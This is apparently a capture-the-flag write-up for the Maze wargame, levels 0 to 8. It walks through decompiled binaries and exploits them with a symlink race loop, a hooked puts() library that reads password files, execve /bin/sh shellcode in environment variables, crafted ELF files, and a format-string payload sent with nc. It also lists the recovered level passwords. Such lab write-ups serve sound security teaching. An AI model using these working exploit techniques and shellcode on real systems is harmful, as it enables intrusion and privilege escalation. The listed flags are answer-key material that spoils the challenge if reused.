Description:
You’ll need knowledge of exploitation-techniques, programming (of course) and reverse- engineering. We’ve tried to make the levels tricky and some of them strange, so get ready to use gdb.

All the password are stored in /etc/maze_pass/maze[level].

Level 0

If we decompile the program, we can get pseudocode as follows.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int main(int argc,char **argv)

{
  int __fd;
  __uid_t __suid;
  __uid_t __euid;
  __uid_t __ruid;
  char buf [20];
  int fd;
  
  memset(buf,0,20);
                    /* Test for existence
                        */
  __fd = access("/tmp/128ecf542a35ac5270a87dc740918404",4);
  if (__fd == 0) {
    __suid = geteuid();
    __euid = geteuid();
    __ruid = geteuid();
    setresuid(__ruid,__euid,__suid);
                    /* Read only */
    __fd = open("/tmp/128ecf542a35ac5270a87dc740918404",0);
    if (__fd < 0) {
      exit(-1);
    }
    read(__fd,buf,19);
    write(1,buf,19);
  }
  return 0;
}

It checks if /tmp/128ecf542a35ac5270a87dc740918404 exists, read it, and write to the screen. We can simply make a symbolic link to /etc/mass_pass/maze1 called /tmp/128ecf542a35ac5270a87dc740918404.

However, it is not that easy. If we are user maze0, we cannot “access” /etc/mass_pass/maze1. We need to make /tmp/128ecf542a35ac5270a87dc740918404 links to a file we can access and links to /etc/mass_pass/maze1 after we pass the check.

It is a race condition challenge. We can create two scripts.

1
2
3
4
while [ 1 ]
do
    /maze/maze0
done
1
2
3
4
5
while [ 1 ]
do
    ln -sf /etc/maze_pass/maze0 /tmp/128ecf542a35ac5270a87dc740918404
    ln -sf /etc/maze_pass/maze1 /tmp/128ecf542a35ac5270a87dc740918404
done

We execute these two scripts in two tabs. With some luck, we can pass the check with /tmp/128ecf542a35ac5270a87dc740918404 links to /etc/maze_pass/maze0, and open the file when it links to /etc/maze_pass/maze1.

And we can get the flag hashaachon.


Level 0 -> Level 1

When we run the program directly, it said ./maze1: error while loading shared libraries: ./libc.so.4: cannot open shared object file: No such file or directory.

If we decompile the program, its pseudocode is as follows.

1
2
3
4
5
int main(void)
{
  puts("Hello World!\n");
  return 0;
}

It is just like Utumno Level 0, where we use function hooking. However, this time we need to open the file to read instead of looking in the memory of the process.

We can create our own puts().

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
int puts(const char *message){

	FILE *fp;
	char buffer[30];
	int result;

	fp = fopen("/etc/maze_pass/maze2", "r");

	fread(buffer, 30, 1, fp);

	printf("The password is %s", buffer);

	result = printf("Hooked %s\n", message);

	return result;
}

It will read the password and print it out. After gcc -m32 -fPIC -c hookputs.c and ld -shared -m elf_i386 -o libc.so.4 hookputs.o -ldl, we can get our password fooghihahr.

Local Picture


Level 1 -> Level 2

In this program, it has a buffer char buf [8], and it does strncpy(code,argv[1],8). After that, it will execute the code in the buffer.

We are unable to store shellcode in 8 bytes, so we can store our shellcode in the environment variable using export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f \x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0 \x40\xcd\x80")'). And we can put machine code in our buffer to access this shellcode.

1
2
3
4
5
6
section	.text
    global _start

_start:
    mov eax, 0xffffdf0c
    jmp eax

We write an assembly code pwn.asm to jump to the address of shellcode 0xffffdf0c. Later, we use nasm -f elf pwn.asm, ld -m elf_i386 -s -o pwn pwn.o, and objump -M intel -d pwn to get our shellcode \xb8\x0c\xdf\xff\xff\xff\xe0.

When we run /maze/maze1 $(python -c 'print("\xb8\x0c\xdf\xff\xff\xff\xe0")'), we can get the shell and the flag beinguthok.


Level 2 -> Level 3

Basically, there are three parts in this program: fine, l1, d1.

Local Picture

Local Picture

Local Picture

In fine, it puts the address of d1 into esi and edi, puts 44 into ecx, and puts 0x12345678 into edx.

In l1, it puts the contents in esi, which is the machine code in d1, into eax. Later, eax is xor with edx, and store back to edi, become new machine code. This process will continue for 44 times, for all 44 bytes.

When it heads to d1, it will become a whole new function.

Local Picture

It pops eax, which contains the address of argv[1], and compares argv[1] to 0x1337c0de. If they are not equal, it will execute exit(0). However, if they are equal, it will execute /bin//sh.

That is, if we execute ./maze3 $(python -c 'print("\xde\xc0\x37\x13")'), we can get the shell and the flag deekaihiek.


Level 3 -> Level 4

If we decompile the program, its pseudocode is as follows.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int main(int argc,char **argv)

{
  int __fd;
  int iVar1;
  stat st;
  Elf32_Phdr phdr;
  Elf32_Ehdr ehdr;
  int fd;
  
  if (argc != 2) {
    printf("usage: %s file2check\n",*argv);
    exit(-1);
  }
  __fd = open(argv[1],0);
  if (__fd < 0) {
    perror("open");
    exit(-1);
  }
  iVar1 = stat(argv[1],(stat *)&st);
  if (iVar1 < 0) {
    perror("stat");
    exit(-1);
  }
  read(__fd,&ehdr,52);
  lseek(__fd,ehdr.e_phoff,0);
  read(__fd,&phdr,32);
  if ((phdr.p_paddr == (uint)ehdr.e_ident[8] * (uint)ehdr.e_ident[7]) && (st.st_size < 120)) {
    puts("valid file, executing");
    execv(argv[1],(char **)0x0);
  }
  fwrite("file not executed\n",1,18,stderr);
  close(__fd);
  return 0;
}

It opens argv[1], reads 52 bytes and store in ehdr, moves the cursor ehdr.e_phoff bytes from the beginning, and reads 32 bytes and store in phdr. Later, it checks whether ebp-0x30 * ebp-0x31 equals to ebp-0x4c. Finally, it will check if the size of the file is less than 120 bytes.

After all the checks pass, it will execute that file.

We can create a file with python -c 'print("#!/bin/sh\n"+"/bin/sh\n"+"A"*10+"\x20\x00\x00\x00"+"B"*12 +"\xb8\x2e\x00\x00"+"B"*16)' > hello. It will run /bin/sh. ehdr is at ebp-0x38, and phdr is at ebp-0x58, so ebp-0x30 * ebp-0x31 will be h(0x68) * s(0x73) equals to 0x2eb8, which is at ebp-0x4c. ehdr.e_phoff will become 0x20, so the second read will start from the first B.

After /maze/maze4 /tmp/l3o/hello, we can get the shell and the flag ishipaeroo.


Level 4 -> Level 5

If we decompile the program, we can get its pseduocode.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int main(void)

{
  size_t len;
  long lVar1;
  int iVar2;
  char pass [9];
  char user [9];
  
  puts("X----------------");
  printf(" Username: ");
  scanf("%8s",user);
  printf("      Key: ");
  scanf("%8s",pass);
  len = strlen(user);
  if ((len == 8) && (len = strlen(pass), len == 8)) {
    lVar1 = ptrace(PTRACE_TRACEME,0,0,0);
    if (lVar1 == 0) {
      iVar2 = foo(user,pass);
      if (iVar2 == 0) {
        puts("\nNah, wrong.");
      }
      else {
        puts("\nYeh, here\'s your shell");
        system("/bin/sh");
      }
    }
    else {
      puts("\nnahnah...");
    }
    return 0;
  }
  puts("Wrong length you!");
  exit(-1);
}

It will ask for Username and Key, and check if both their length are 8. Later, it checks if we use gdb or not. If we do, it will return 0. Finally, we will go to function foo, and if we make its return value other than 0, we can get the shell.

Local Picture

Local Picture

We can translate it into:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
int foo(char* user, char* pass){
  char p[9] = {0x70, 0x72, 0x69, 0x6e, 0x74, 0x6c, 0x6f, 0x6c};
  for(int i = 0; i < strlen(s); ++i){
    p[i] -= user[i] + 2 * i - 0x41;
  }
  do{
    i -= 1;
    if(i == 0)return 1; //success
  } while(pass[i]==p[i]);

  return 0; //fail
}

What I think is that I can make pass[i] = p[i] in the beginning, and we need p[i] unchanged when executing p[i] -= user[i] + 2 * i - 0x41;. That is, user[i] + 2 * i - 0x41 should be equal to zero.

user would be "\x41\x3f\x3d\x3b\x39\x37\x35\x33\", and pass would be "\x70\x72\x69\x6e\x74\x6c\x6f\x6c". If we change them into characters, they are A?=;9753 and printlol.

After we key in these two strings as input, we can get the shell and the flag epheghuoli.


Level 5 -> Level 6

Too hard ~~~ There’s some new protect mechanism in vfprintf.


Level 6 -> Level 7

If we decompile the program, its pseduocode is as follows.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
int main(int argc,char **argv)

{
  int __fd;
  Elf32_Ehdr ehdr;
  
  if (argc < 2) {
    printf("usage: %s file\n",*argv);
    exit(1);
  }
  __fd = open(argv[1],0,0);
  if (__fd < 0) {
    printf("cannot open file %s\n",argv[1]);
    exit(1);
  }
  read(__fd,&ehdr,52);
  printf("Dumping section-headers of program %s\n",argv[1]);
  Print_Shdrs(__fd,ehdr.e_shoff,(uint)ehdr.e_shstrndx,(uint)ehdr.e_shnum,(uint)ehdr.e_shentsize);
  close(__fd);
  return 0;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void Print_Shdrs(int fd, int offset, int shstrndx, int num, int size) {
    int i;       // ebp - 8
    char *mem;   // ebp - 12
    char *mem2;  // ebp - 16
    char *mem3;  // ebp - 20
    char *dummy; // ebp - 60
    char *p = &dummy;
 
    lseek(fd, offset, SEEK_SET);
    mem = malloc(num * 40);
    read(fd, mem, num * 40);
 
    mem2 = mem + shstrndx * 40;
    lseek(fd, *(mem2 + 16), SEEK_SET);
    mem3 = malloc(*(mem2 + 20));
    read(fd, mem3, *(mem2 + 20));
 
    lseek(fd, offset, SEEK_SET);
    puts("\nNo  Name\t\tAddress\t\tSize");
 
    i = 0;
    while (num >= i) {
        read(fd, p, size);
        printf("%2d: %-16s\t0x%08x\t0x%04x\n", i,
               *(int *)mem3 + *(int *)p,
               *(int *)(p + 12),
               *(int *)(p + 20),
        );
        i++;
    }
    putchar('\n');
    free(mem3);
    free(mem);
}

We can focus on read(fd, p, size); in Print_Shdrs. p is at ebp - 60, and if size = 68, we can control eip and return to our shellcode. For arguments, we need to set size to 0x44, others can be zero, and the two previous read will have no effects on our buffer overflow. The loop will run only for once if we set num equals zero.

Again, we put our shellcode in the environment variable export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80")').

We can make the file with python -c 'print("\x00"*32+"\x00\x00\x00\x00"+"\x00"*10+"\x44\x00"+"\x00\x00" +"\x00\x00\x00\x00"+"\x00"*10+"\x0c\xdf\xff\xff")' > hello. 0x44 is for argument size.

After that, we run /maze/maze7 hello, we can get the shell and the flag pohninieng.


Level 7 -> Level 8

If we decompile the program, we can get its pseudocode.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

int main(int argc,char **argv)

{
  int __fd;
  int iVar1;
  __pid_t _Var2;
  size_t len;
  ssize_t sVar3;
  char replybuf [532];
  char buf [512];
  int sopt;
  sockaddr_in serv;
  int bytes;
  int client_sock;
  int serv_sock;
  char *answer;
  char *question;
  int port;
  
  answer = "god";
  port = 1337;
  if (argc == 2) {
    __fd = atoi(argv[1]);
    port = (uint16_t)__fd;
  }

  __fd = socket(2,1,6);
  if (__fd == -1) {
    perror("socket()");
    exit(1);
  }
  setsockopt(__fd,1,2,&sopt,4);
  serv.sin_family = 2;
  serv.sin_port = htons((uint16_t)port);
  serv.sin_addr = 0;
  memset(serv.sin_zero,0,8);
  iVar1 = bind(__fd,(sockaddr *)&serv,16);
  if (iVar1 == -1) {
    perror("bind()");
    exit(1);
  }
  iVar1 = listen(__fd,5);
  if (iVar1 == -1) {
    perror("listen()");
    exit(1);
  }
  alarm(1200);
  signal(14,alrm);
  signal(17,(__sighandler_t)1);
  while( true ) {
    client_sock = accept(__fd,(sockaddr *)0x0,(socklen_t *)0x0);
    _Var2 = fork();
    if (_Var2 == 0) break;
    close(client_sock);
  }
  len = strlen("Give the correct password to proceed: ");
  send(client_sock,"Give the correct password to proceed: ",len,0);
  sVar3 = recv(client_sock,buf,511,0);
  buf[sVar3] = '\0';
  if (strcmp(answer,buf) == 0) {
    strcpy(replybuf, "Err... I was just joking... yes, go away.\n");
  }
  else {
    snprintf(replybuf,512,buf);
    strcat(replybuf, " is wrong ^_^\n");
  }
  len = strlen(replybuf);
  send(client_sock,replybuf,len,0);
  _exit(0);
}

It looks complicated, but we can ignore most of them because what it only does is open a socket on port 1337 in TCP. When somebody connects it, it will ask for password. Whether our answer is correct or not, it sends back useless message.

However, if our answer is incorrect, it will execute snprintf to store our answer. We can use format string vulnerability in this case. Let’s take a look at strlen@plt.

Local Picture

We can change 0x8049d34 to the address of our shellcode, and we can get the shell and the flag.

Again, we execute export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80")') to have our shellcode in the environment variable.

On one terminal, we execute maze8, on the other one, we execute python -c 'print("\x34\x9d\x04\x08\x36\x9d\x04\x08"+"%57092x%1$hn%8435x%2$hn")' | nc localhost 1337.

If LOB < HOB, we use the [addr][addr+2]%[LOB-8]x%[offset]$hn%[HOB-LOB]x%[offset+1]$hn formula for our format string vulnerability. The address of shellcode is 0xffffdf0c. 0xdf0c - 8 = 57092, 0xffff - 0xdf0c = 8435. THe offset can be found with our input AAAA %x ..., and we see 41414141 in the first doubleword, so the offset is 1.

And we can get the flag jopieyahng.


Level 8 -> Level 9

Well done! It sure looks like you enjoy swimming in memory.